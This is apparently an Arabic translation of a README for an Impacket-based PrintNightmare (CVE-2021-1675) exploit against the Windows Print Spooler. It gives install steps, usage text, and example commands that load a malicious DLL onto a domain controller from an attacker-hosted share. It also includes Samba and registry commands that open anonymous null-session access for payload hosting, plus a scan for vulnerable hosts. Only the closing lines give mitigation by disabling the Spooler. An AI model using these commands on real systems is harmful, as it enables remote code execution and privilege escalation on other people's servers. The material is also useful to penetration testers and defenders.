
استغلال يعتمد على Impacket لـ PrintNightmare (CVE-2021-1675/34527) يتيح تنفيذ DLL عن بُعد أو محليًا ضد خدمات مضاعف الطباعة في ويندوز.
تنفيذ Impacket لإثبات المفهوم PrintNightmare الذي أنشأه أصلاً Zhiniang Peng (@edwardzpeng) و Xuefeng Li (@lxf02942370)
اختبار على وحدة تحكم مجال 2019 محدثة بالكامل
تنفيذ مكتبات DLL الضارة عن بعد أو محلياً

قبل تشغيل الأداة، يجب عليك تثبيت نسختي من Impacket وبعد ذلك ستكون جاهزاً
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
تنفيذ CVE-2021-1675.
الوسائط الموضعية:
target [[domain/]username[:password]@]<targetName or address>
share مسار إلى DLL. مثال '\\10.10.10.10\share\evil.dll'
الوسائط الاختيارية:
-h, --help عرض هذه الرسالة المساعدة والخروج
المصادقة:
-hashes LMHASH:NTHASH
تجزئات NTLM، الصيغة هي LMHASH:NTHASH
الاتصال:
-target-ip ip address
عنوان IP للجهاز الهدف. إذا تم حذفه، سيتم استخدام ما تم تحديده كهدف. هذا مفيد عندما يكون الهدف هو اسم NetBIOS ولا يمكنك حله
-port [destination port]
المنفذ الوجهة للاتصال بخادم SMB
مثال:
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
أسهل طريقة لاستضافة الحمولات هي استخدام samba وتعديل /etc/samba/smb.conf للسماح بالوصول المجهول
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
من ويندوز أيضاً ممكن
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f # هذا سيعيد كتابة أي قيم موجودة في NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# إعادة التشغيل
يمكننا استخدام rpcdump.py من Impacket لفحص الأجهزة التي قد تكون ضعيفة، إذا أعادت قيمة، فقد تكون ضعيفة
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
تعطيل خدمة Spooler
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
أو إلغاء تثبيت خدمات الطباعة
Uninstall-WindowsFeature Print-Services